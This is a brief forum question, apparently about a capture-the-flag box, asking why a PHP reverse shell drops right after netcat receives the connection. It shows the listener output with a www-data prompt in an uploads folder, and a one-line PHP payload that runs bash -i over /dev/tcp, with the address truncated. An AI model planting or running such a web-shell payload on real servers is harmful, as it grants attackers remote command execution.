unix – Reverse PHP shell exit when netcat listening

My reverse shell is exiting when i lsten it with netcat: here is netcat output:

listening on (any) 5555 ...
connect to ( from (UNKNOWN) ( 37602
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ exit

here is my php reverse shell:

<?php system("bash -c 'bash -i >& /dev/tcp/>&1'"); ?>

Any help?